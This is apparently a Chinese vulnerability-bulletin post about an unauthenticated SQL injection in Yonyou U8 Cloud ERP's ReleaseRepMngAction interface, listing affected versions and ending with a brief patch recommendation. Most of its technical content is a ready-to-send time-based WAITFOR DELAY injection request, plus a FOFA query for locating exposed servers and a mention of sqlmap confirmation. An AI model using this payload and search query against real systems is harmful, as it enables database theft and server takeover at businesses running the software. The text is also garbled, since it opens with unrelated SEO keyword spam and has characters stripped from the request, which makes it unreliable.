怎么创建免费网站,百度商桥怎么接网站,深圳做手机的企业网站,wordpress引用图片样式大家好#xff0c;今天是Dest1ny漏洞库的专题#xff01;#xff01;
会时不时发送新的漏洞资讯#xff01;#xff01;
大家多多关注#xff0c;多多点赞#xff01;#xff01;#xff01; 0x01 产品简介
用友U8 Cloud是用友推出的新一代云ERP#xff0c;主要聚…大家好今天是Dest1ny漏洞库的专题
会时不时发送新的漏洞资讯
大家多多关注多多点赞 0x01 产品简介
用友U8 Cloud是用友推出的新一代云ERP主要聚焦成长型、创新型企业提供企业级云ERP整体解决方案。是基于全新的企业互联网理念设计的云ERP系统它旨在为企业提供集人财物客产供销于一体的云ERP整体解决方案推动企业敏经营、轻管理、简IT助力企业实现高速发展与云化创新。
0x02 漏洞概述
用友U8 Cloud ReleaseRepMngAction 接口处存在SQL注入漏洞未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息例如管理员后台密码、站点的用户个人信息之外甚至在高权限的情况可向服务器中写入木马进一步获取服务器系统权限。
0x03 影响范围
version 1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp
0x04 复现环境
FOFAtitleU8C 0x05 漏洞复现
GET /service/~iufo/com.ufida.web.action.ActionServlet?actionnc.ui.iufo.release.ReleaseRepMngActionmethodupdateDelFlagTableSelectedID1%27);WAITFORDELAY%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/png,image/svgxml,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Connection: close延时5秒
Sqlmap验证 0x06 修复建议
升级补丁U8CLOUD系统ReleaseRepMngAction接口存在SQL注入漏洞的安全补丁
